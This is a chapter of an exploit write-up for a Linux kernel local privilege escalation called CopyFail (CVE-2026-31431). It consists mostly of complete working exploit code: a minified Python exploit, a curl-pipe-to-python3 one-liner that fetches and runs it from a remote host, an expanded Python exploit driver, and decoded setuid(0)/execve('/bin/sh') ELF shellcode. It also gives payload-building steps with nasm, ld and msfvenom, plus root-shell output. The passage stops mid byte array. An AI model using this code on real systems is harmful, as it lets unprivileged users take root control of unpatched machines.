7 Exploit Implementations

This chapter turns the page-cache overwrite primitive into full exploit implementations, with variants for different programming languages and Linux environments.

7.1 Official Release

7.1.1 732-byte Python Exploit

The official released Python exploit is deleberately designed to be minimal:

Python
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

It leverages Python 3.10+ stdlib only (ossocketzlib), targeting /usr/bin/su by default:

Bash
curl https://copy.fail/exp | python3 && su

Or attacker can pass another setuid binary as argv[1]:

axura @ labyrinth :~
axura@pwnlab:~$ curl https://copy.fail/exp | python3 - passwd && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2310      0 --:--:-- --:--:-- --:--:--  2305
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

7.1.2 Artifacts From Origin

Two encoded values in the original script are worth making explicit before the full listing.

7.1.2.1 Authencesn Key Blob

ALG_SET_KEY does not take a raw AES key here. For authencesn(hmac(sha256),cbc(aes)), the socket needs an authenc key blob, parsed by crypto_authenc_extractkeys() — an 8-byte rtattr header plus crypto_authenc_key_param, followed by the concatenated HMAC key and AES key. In the released exploit, the encoded blob:

08000100 00000010 00000000000000000000000000000000 00000000000000000000000000000000

Decoded:

authenc key blob
════════════════════════════════════════════════════════════

08 00 01 00 | 00 00 00 10 | 00 ...  00 | 00 ...  00
└─ rtattr ─┘  └ enckeylen ┘ └ auth key ┘ └ enc key ┘

rtattr:
  rta_len  = 8
  rta_type = 1    // CRYPTO_AUTHENC_KEYA_PARAM

crypto_authenc_key_param:
  enckeylen = 0x10

key material:
  auth key = 16 zero bytes
  enc key  = 16 zero bytes


rtattr header        = 4 bytes
key param            = 4 bytes
auth key             = 16 bytes
enc key              = 16 bytes
────────────────────────────
total blob length    = 40 bytes

We could tune those splits for our preference, but the important field is enckeylen = 0x10. It tells the parser remaining key material are 40 - 8 = 32 bytes. Then calculate:

  • last 16 bytes: AES-CBC encryption key
  • first 16 bytes: HMAC authentication key

So the kernel interprets the blob as:

┌────────────┬────────────┬───────────────┬─────────────┐
│ rtattr     │ key param  │ auth key      │ enc key     │
│ 4 bytes    │ 4 bytes    │ 16 bytes      │ 16 bytes    │
└────────────┴────────────┴───────────────┴─────────────┘

The keys do not need to be meaningful secrets for the primitive. Authentication is expected to fail. The key blob only needs to be structurally valid so the request reaches _aead_recvmsg() and then crypto_authenc_esn_decrypt(), where the 4-byte scratch write happens before recv() returns an error.

7.1.2.2 Zlib Payload Blob

On the other hand, the compressed payload blob is not arbitrary filler. It is the replacement byte stream that the exploit stages into the target executable 4 bytes at a time. Compression serves one practical purpose: keep the released one-file curl | python3 exploit short while preserving the exact byte sequence to be written.

In the original exploit, the runtime step is simply:

Python
payload = zlib.decompress(payload_blob)

But after decoding the blob carefully, an important detail appears: the expanded payload is not bare shellcode. It is a tiny ELF64 executable stub.

The original hex blob is:

blob
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

and a direct decode shows:

Python
import zlib
from pathlib import Path

blob = bytes.fromhex(
    "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
    "e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
    "190c0c0c0032c310d3"
)

payload = zlib.decompress(blob)

p = Path("payload.elf")
p.write_bytes(payload)
p.chmod(0o755)

print(f"[+] wrote {p}")
print(f"[+] len: {len(payload)}")
print(f"[+] first 16 bytes: {payload[:16].hex()}")

Output:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ python3 decode_blob.py
[+] wrote payload.elf
[+] len: 160
[+] first 16 bytes: 7f454c46020101000000000000000000
axura@pwnlab:~/lab/copy-fail$ file payload.elf
payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Those first bytes are the ELF magic plus an ELF64 little-endian header:

7f 45 4c 46 02 01 01 00 ...
└── ELF ──┘ │  │  │  │
   magic    │  │  │  └─ OS ABI = System V
            │  │  └──── ELF version = 1
            │  └─────── little-endian
            └────────── ELFCLASS64

Parse the decoded payload.elf:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ readelf -h payload.elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0
axura@pwnlab:~/lab/copy-fail$ readelf -l payload.elf

Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000000009e 0x000000000000009e  R E    0x1000

The decompressed payload verifies cleanly:

ELF header
════════════════════════════════
len      = 160 bytes
type     = ET_EXEC
machine  = x86_64
entry    = 0x400078

program header table
════════════════════════════════
phoff    = 0x40
phnum    = 1

PT_LOAD segment
════════════════════════════════
off      = 0x0
vaddr    = 0x400000
flags    = R|X
filesz   = 0x9e
memsz    = 0x9e

So the released exploit does not overwrite /usr/bin/su with naked shellcode at file offset 0. It overwrites the cached file beginning with a tiny ELF executable. That distinction matters because execve() still expects a valid executable image: ELF magic, program headers, and a loadable executable segment.

Since the only PT_LOAD segment maps file offset 0x0 at virtual address 0x400000, the entry point maps back to file offset:

entry_file_offset = 0x400078 - 0x400000
                  = 0x78

At file offset 0x78, the executable stub begins:

31c031ffb0690f05488d3d0f00000031f66a3b58990f0531ff6a3c580f052f62696e2f7368000000

Decoded as x86_64 instructions:

ASM
0x78: 31 c0                   xor    eax, eax
0x7a: 31 ff                   xor    edi, edi
0x7c: b0 69                   mov    al, 0x69
0x7e: 0f 05                   syscall                 ; setuid(0)

0x80: 48 8d 3d 0f 00 00 00    lea    rdi, [rip+0xf]   ; -> "/bin/sh"
0x87: 31 f6                   xor    esi, esi
0x89: 6a 3b                   push   0x3b
0x8b: 58                      pop    rax
0x8c: 99                      cdq
0x8d: 0f 05                   syscall                 ; execve("/bin/sh", NULL, NULL)

0x8f: 31 ff                   xor    edi, edi
0x91: 6a 3c                   push   0x3c
0x93: 58                      pop    rax
0x94: 0f 05                   syscall                 ; exit(0)

0x96: 2f 62 69 6e 2f 73 68 00 "/bin/sh\x00"
0x9e: 00 00                   trailing bytes outside PT_LOAD

So the payload logic is:

setuid(0)  ->  execve("/bin/sh",0,0)  ->  exit(0)

In other words, the stub first calls setuid(0), then execve("/bin/sh", NULL, NULL), with the string "/bin/sh\x00" embedded directly after the code.

Conceptually:

zlib blob

   │ decompress

tiny ELF64 executable

   ├─ valid ELF header
   ├─ one executable PT_LOAD segment
   ├─ entry @ 0x400078
   ├─ code: setuid(0) -> execve("/bin/sh")
   └─ embedded string: "/bin/sh\x00"

If an attacker wants a different staged payload, the generation step is still straightforward, but the payload must match the overwrite strategy.

For the released exploit style, where the overwrite begins at file offset 0 and the target is later launched through execve(), the decompressed bytes should form a valid executable image — for example, a tiny ELF carrier:

Python
import zlib
from pathlib import Path

desired_payload = Path("payload.elf").read_bytes()

payload_blob = zlib.compress(desired_payload)
payload_blob_hex = payload_blob.hex()

print(payload_blob_hex)

he exploit-side decode remains:

Python
payload = zlib.decompress(bytes.fromhex(payload_blob_hex))

So the zlib block is not part of the vulnerability mechanics. It is only a compact transport encoding for the bytes that will be planted into the cached executable page. The important constraint is what those bytes represent: if the overwrite starts at file offset 0, they must look like a valid executable image to the ELF loader, not just naked shellcode.

7.2 Full Python Script

The original 732-byte script is ideal for release, but it compresses too many exploit decisions into one line. A readable exploit version should keep the same primitive while making the overwrite layout, request setup, and iteration logic explicit:

  • open an AF_ALG AEAD socket for authencesn(hmac(sha256),cbc(aes))
  • encode the 4-byte write value into AAD[4:8]
  • choose a splice length so the last 4 bytes of the imported file range are the bytes to overwrite
  • trigger recv() even though authentication will fail
  • repeat 4 bytes at a time until the full payload has been staged into page cache

The following version preserves the same strategy as the original PoC, but gives each exploit step a name, adds concise runtime logging, and keeps the control values visible:

Python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title   : CopyFail CVE-2026-31431 Linux LPE exploit
# Date    : 2026-05-15
# Author  : Axura (@4xura) - https://4xura.com
#
# Description:
# ------------
#   AAD[4:8]       -> 4-byte controlled write value
#   authsize = 4   -> target bytes sit in the imported tag tail
#   splice len=t+4 -> the last 4 imported file bytes are the overwrite target
#   recv()         -> triggers authencesn() scratch write, even if auth fails
#
# Usage:
# ------
# python3 exploit.py
# DEBUG=1 python3 exploit.py [target_basename]
# python3 exploit.py [target_basename]
#
# Notes:
# ------
# Provided for educational purposes only. Use responsibly.
#

import os
import sys
import zlib
import socket


DEBUG = bool(os.getenv("DEBUG"))


def hex_bytes(s: str) -> bytes:
    return bytes.fromhex(s)


SOL_ALG = 279
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
MSG_MORE = 0x8000


# authenc key blob:
# [rtattr|authenc param|16-byte auth key|16-byte AES key]
AUTHENC_KEY_BLOB = hex_bytes("0800010000000010" + "0" * 64)

def open_authencesn_socket() -> tuple[socket.socket, socket.socket]:
    """
    Open the vulnerable AEAD transform and one accepted request socket.

    userspace:
        socket(AF_ALG) -> bind("aead", "authencesn(...)") -> accept()

    kernel:
        AF_ALG family -> algif_aead -> authencesn decrypt callback later on recv()
    """
    tfm = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    tfm.setsockopt(SOL_ALG, ALG_SET_KEY, AUTHENC_KEY_BLOB)
    tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
    op, _ = tfm.accept()
    return tfm, op


def queue_aad(op: socket.socket, write_value: bytes) -> None:
    """
    Queue 8 bytes of AAD. Bytes 4..7 become the later 4-byte overwrite.

    AAD layout:
        byte 0..3  = filler
        byte 4..7  = controlled value written later by authencesn()

        +------+------+------+------+------+------+------+------+
        |  A   |  A   |  A   |  A   |  w0  |  w1  |  w2  |  w3  |
        +------+------+------+------+------+------+------+------+
    """
    zero = hex_bytes("00")
    aad = b"A" * 4 + write_value

    # Control messages:
    #   ALG_SET_OP             -> decrypt
    #   ALG_SET_IV             -> 16-byte IV
    #   ALG_SET_AEAD_ASSOCLEN  -> assoclen = 8
    op.sendmsg(
        [aad],
        [
            (SOL_ALG, ALG_SET_OP, zero * 4),
            (SOL_ALG, ALG_SET_IV, b"\x10" + zero * 19),
            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x08" + zero * 3),
        ],
        MSG_MORE,
    )


def splice_target_window(file_fd: int, op_fd: int, target_offset: int) -> None:
    """
    Import the file window whose last 4 bytes are the overwrite target.

        splice_len = target_offset + 4

    so that the imported bytes are:

        file[0 : target_offset]        -> ciphertext region
        file[target_offset : +4]       -> preserved tag tail

    authsize = 4 makes those last 4 bytes sit exactly where authencesn()
    later performs its destination-side scratch write.
    """
    splice_len = target_offset + 4
    read_fd, write_fd = os.pipe()

    try:
        # file -> pipe
        os.splice(file_fd, write_fd, splice_len, offset_src=0)
        # pipe -> AF_ALG socket
        os.splice(read_fd, op_fd, splice_len)
    finally:
        os.close(read_fd)
        os.close(write_fd)


def trigger_decrypt(op: socket.socket, target_offset: int) -> None:
    """
    Trigger the decrypt path.

    The exploit does not require a successful decrypt. It only requires
    authencesn() to execute far enough that:

        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)

    performs the 4-byte write before recv() reports authentication failure.
    """
    try:
        op.recv(8 + target_offset)
    except OSError as e:
        if DEBUG:
            print(f"    [-] recv() returned: {e}")


def overwrite_4_bytes(file_fd: int, target_offset: int, chunk: bytes) -> None:
    """
    Apply one 4-byte overwrite primitive.

    exploit geometry for one iteration:

        AAD[4:8] = chunk
             |
             v
        recv() -> authencesn() scratch write
             |
             v
        file[target_offset : target_offset+4] in page cache becomes chunk
    """
    tfm, op = open_authencesn_socket()
    try:
        if DEBUG:
            print(
                f"[+] overwrite @ 0x{target_offset:x}: "
                f"{chunk.hex()} ({chunk.decode('latin1', errors='replace')})"
            )
        queue_aad(op, chunk)
        splice_target_window(file_fd, op.fileno(), target_offset)
        trigger_decrypt(op, target_offset)
    finally:
        op.close()
        tfm.close()


def decompress_payload() -> bytes:
    # zlib-compressed replacement bytes written into the target.
    #
    # After decompression:
    #   payload[0:4]   -> overwrite at file offset 0x0
    #   payload[4:8]   -> overwrite at file offset 0x4
    #   ...
    #
    # main() walks this buffer in 4-byte chunks and turns each chunk into one
    # AAD[4:8] value for one exploit iteration.
    payload_blob = hex_bytes(
        "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07"
        "e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5"
        "190c0c0c0032c310d3"
    )
    return zlib.decompress(payload_blob)


def main() -> None:
    target = "/usr/bin/su"

    if len(sys.argv) > 1:
        target = f"/usr/bin/{sys.argv[1]}"

    payload = decompress_payload()

    print(f"[+] target   : {target}")
    print(f"[+] payload  : {len(payload)} bytes")
    print("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write")

    file_fd = os.open(target, os.O_RDONLY)
    try:
        # Each loop iteration patches one 4-byte slot in the target executable.
        for target_offset in range(0, len(payload), 4):
            chunk = payload[target_offset : target_offset + 4]
            overwrite_4_bytes(file_fd, target_offset, chunk)
    finally:
        os.close(file_fd)

    print("[+] payload staged into page cache, executing target...")
    os.system("su")


if __name__ == "__main__":
    main()
Expand

So the full exploit has two encoded inputs:

  • the AUTHENC_KEY_BLOB, which is the minimum valid authenc key package needed to instantiate authencesn(hmac(sha256),cbc(aes))
  • the zlib-compressed payload blob, which expands into the replacement byte stream later written into the target setuid binary

This version now follows the exploit chain directly:

  1. open_authencesn_socket() selects the vulnerable AEAD implementation.
  2. queue_aad() places the controlled 4-byte value in AAD[4:8].
  3. splice_target_window() imports a file range whose last 4 bytes are the overwrite target.
  4. trigger_decrypt() forces crypto_authenc_esn_decrypt() to execute the scratch write.
  5. main() repeats that primitive until the full replacement payload has been staged into page cache.

Compared with the Chapter 5 PoCs, the important difference is scope: this is no longer a lab-shaped demonstrator for one controlled marker overwrite, but a full exploit driver that repeatedly turns the 4-byte primitive into a complete executable patch.

This pwns:

axura @ labyrinth :~
axura@pwnlab:~$ python3 exploit.py
[+] target   : /usr/bin/su
[+] payload  : 160 bytes
[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write
[+] overwrite @ 0x0: 7f454c46 (ELF)
    [-] recv() returned: [Errno 74] Bad message
[+] overwrite @ 0x4: 02010100 ()
    [-] recv() returned: [Errno 74] Bad message
[+] overwrite @ 0x8: 00000000 ()
    [-] recv() returned: [Errno 74] Bad message
[+] overwrite @ 0xc: 00000000 ()
    [-] recv() returned: [Errno 74] Bad message

...

[+] overwrite @ 0x94: 0f052f62 (/b)
    [-] recv() returned: [Errno 74] Bad message
[+] overwrite @ 0x98: 696e2f73 (in/s)
    [-] recv() returned: [Errno 74] Bad message
[+] overwrite @ 0x9c: 68000000 (h)
    [-] recv() returned: [Errno 74] Bad message
[+] payload staged into page cache, executing target...
# id
uid=0(root) gid=1000(axura) groups=1000(axura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)

7.3 C Exploit

Some victim Linux hosts may not install Python by default, so it is neccessary to develop a C version under certain restricted circumstances.

With the exploit chain and the Chapter 5 PoCs in place, a C variant no longer needs any hidden steps. This section is a readable C exploit template that follows the same logic as the Python full exploit:

  • instantiate authencesn(hmac(sha256),cbc(aes))
  • place the controlled 4-byte value in AAD[4:8]
  • splice file[0 : target_offset + 4] into the accepted AF_ALG socket
  • trigger decrypt and ignore the expected authentication failure
  • repeat 4 bytes at a time until the replacement payload has been staged into page cache

For portability, this template uses ordinary Linux userspace interfaces:

  • libc file/socket APIs
  • Linux AF_ALG UAPI headers
  • splice()
  • an explicit replacement-byte placeholder instead of an embedded compressed blob

7.3.1 Arbitrary Code Execution

For a more tunable arbitrary-code-execution exploit, we should treat the overwrite as an executable loader problem.

From 7.1.2.2, we already know the victim page cache should be patched with a valid ELF64 executable stub, not raw shellcode dropped blindly at file offset 0. That means we need to separate two layers:

  • the payload logic we want to run, such as execve("/bin/sh")
  • the ELF carrier that wraps that logic in a format the kernel loader accepts

7.3.1.1 Solution 1: Shellcode + Manual ELF Carrier

There are many ways to generate Linux shellcode. For this exploit, I will use my self-developed pwnkit repo:

Bash
pip install pwnkit

For the payload logic itself, I use the common execve("/bin/sh") for amd64:

Python
from pwnkit import *

sc = ShellcodeReigstry.get("amd64", "execve_bin_sh")

# Inspect the selected payload
sc.dump()

# Or, as a comma-separated byte array:
print("[+] The comma-separated byte array")
print(", ".join(f"0x{b:02x}" for b in sc.blob))

Output:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ python3 sc_64.py
[+] Shellcode: execve_bin_sh (variant 27, amd64), 27 bytes
[+] Description: execve_bin_sh (variant 27)
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
[+] The comma-separated byte array
0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05

At this point we only have the payload logic. For the offset-0 /usr/bin/su path, we still need to wrap those bytes in a loader-friendly file image before feeding them to the exploit.

So next step is to build a fresh minimum ELF carrier around the shellcode.

Create payload.asm:

ASM
global _start
section .text

_start:
    xor edi, edi
    mov eax, 105
    syscall
    jmp shellcode

shellcode:
    db PLACEHOLDER_FOR_SHELLCODE

Control flow is simple:

  • _start begins at the ELF entry point
  • xor edi, edi; mov eax, 105; syscall performs setuid(0)
  • jmp shellcode transfers execution directly into the embedded bytes
  • db PLACEHOLDER_FOR_SHELLCODE is where we paste the pwnkit output

For the 27-byte amd64 execve_bin_sh payload above, PLACEHOLDER_FOR_SHELLCODE becomes:

ASM
db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91
db 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53
db 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0
db 0x3b, 0x0f, 0x05

Then create payload.ld to tell ld how to lay out the ELF. To keep the carrier small, we force a single loadable segment that includes the ELF header and program header in the same mapped region, and place .text immediately after those headers with SIZEOF_HEADERS:

ASM
ENTRY(_start)

PHDRS
{
  text PT_LOAD FILEHDR PHDRS FLAGS(5);   /* R|X */
}

SECTIONS
{
  . = 0x400000 + SIZEOF_HEADERS;

  .text : {
    *(.text*)
    *(.rodata*)
  } :text

  /DISCARD/ : {
    *(.note*)
    *(.comment*)
    *(.eh_frame*)
  }
}

So the workflow is:

  1. save the asm stub as payload.asm
  2. replace PLACEHOLDER_FOR_SHELLCODE with the generated pwnkit bytes
  3. save the linker script as payload.ld
  4. assemble and link with nasm and ld

Build it:

Bash
nasm -f elf64 payload.asm -o payload.o
ld -nostdlib -static -s -T payload.ld -o payload.pwnkit.elf payload.o

Here -s already asks ld to strip symbols, so no extra strip step is needed for this compact build.

Output:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ ls payload.*
payload.asm  payload.ld
axura@pwnlab:~/lab/copy-fail$ nasm -f elf64 payload.asm -o payload.o
axura@pwnlab:~/lab/copy-fail$ ld -nostdlib -static -s -T payload.ld -o payload.pwnkit.elf payload.o
axura@pwnlab:~/lab/copy-fail$ file payload.pwnkit.elf
payload.pwnkit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
axura@pwnlab:~/lab/copy-fail$ readelf -l payload.pwnkit.elf

Elf file type is EXEC (Executable file)
Entry point 0x400080
There is 1 program header, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000000a6 0x00000000000000a6  R E    0x1000

 Section to Segment mapping:
  Segment Sections...
   00     .text
axura@pwnlab:~/lab/copy-fail$ readelf -h payload.pwnkit.elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400080
  Start of program headers:          64 (bytes into file)
  Start of section headers:          184 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           64 (bytes)
  Number of section headers:         3
  Section header string table index: 2

This is the compact result we want for the exploit path: one PT_LOAD, entry at 0x400080, and only 0xa6 bytes to stage into page cache.

Once payload.pwnkit.elf is ready, we can export the exact replacement bytes with:

Python
from pathlib import Path
from pwnkit import *

pl_filename = "payload.pwnkit.elf"
blob = Path(pl_filename).read_bytes()

# Output C macro string-literal format:
#   #define PAYLOAD_BYTES "\xde\xad\xbe\xef..."
print("[+] C macro format, use as:")
print('#define PAYLOAD_BYTES "\\xde\\xad\\xbe\\xef..."\n')
print(hex_shellcode(blob))

# Output C byte-array initializer format:
#   const unsigned char PAYLOAD_BYTES[] = {0xde, 0xad, 0xbe, 0xef, ...};
print("\n\n[+] C char array format, use as:")
print("const unsigned char PAYLOAD_BYTES[] = { ... };\n")
print(", ".join(f"0x{b:02x}" for b in blob))

and then drop that byte array into PAYLOAD_BYTES.

7.3.1.2 Solution 2: Direct ELF Payload From msfvenom

If we do not need a hand-crafted carrier, we can let a payload generator emit a full ELF for us directly. For example:

Bash
msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elf

Outputs a 44-byte only payload, though larger than the raw shellcodes we used in previous section:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
Final size of elf file: 164 bytes
Saved as: payload.elf
axura@pwnlab:~/lab/copy-fail$ file payload.elf
payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
axura@pwnlab:~/lab/copy-fail$ readelf -h payload.elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0
axura@pwnlab:~/lab/copy-fail$ readelf -l payload.elf

Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000000a4 0x00000000000000d0  RWE    0x1000

That skips the carrier-building step entirely: payload.elf is already a loader-friendly executable image, so the exploit can simply stage its bytes into page cache from file offset 0.

Again, the last step is just to export the file bytes:

Python
from pathlib import Path
from pwnkit import *

pl_filename = "payload.elf"
blob = Path(pl_filename).read_bytes()

# Output C macro string-literal format:
#   #define PAYLOAD_BYTES "\xde\xad\xbe\xef..."
print("[+] C macro format, use as:")
print('#define PAYLOAD_BYTES "\\xde\\xad\\xbe\\xef..."\n')
print(hex_shellcode(blob))

# Output C byte-array initializer format:
#   const unsigned char PAYLOAD_BYTES[] = {0xde, 0xad, 0xbe, 0xef, ...};
print("\n\n[+] C char array format, use as:")
print("const unsigned char PAYLOAD_BYTES[] = { ... };\n")
print(", ".join(f"0x{b:02x}" for b in blob))

ahen places the generated bytes into the PAYLOAD_BYTES variable in the exploit script in 7.3.2. The exploit should behave the same way:

axura @ labyrinth :~
axura@pwnlab:~/lab/copy-fail$ msfvenom -p linux/x64/exec CMD=/bin/sh -f elf -o payload.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
Final size of elf file: 164 bytes
Saved as: payload.elf
axura@pwnlab:~/lab/copy-fail$ file payload.elf
payload.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
axura@pwnlab:~/lab/copy-fail$ python3 encode_payload.py
[+] C macro format, use as:
#define PAYLOAD_BYTES "\xde\xad\xbe\xef..."

\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x
00\x40\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x31\xff\xb8\x69\x00\x00\x00\x0f\x05\xeb\x00\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00\x2e\x73\x68\x73\x74\x
72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00\x11
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

[+] C char array format, use as:
const unsigned char PAYLOAD_BYTES[] = { ... };

0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x
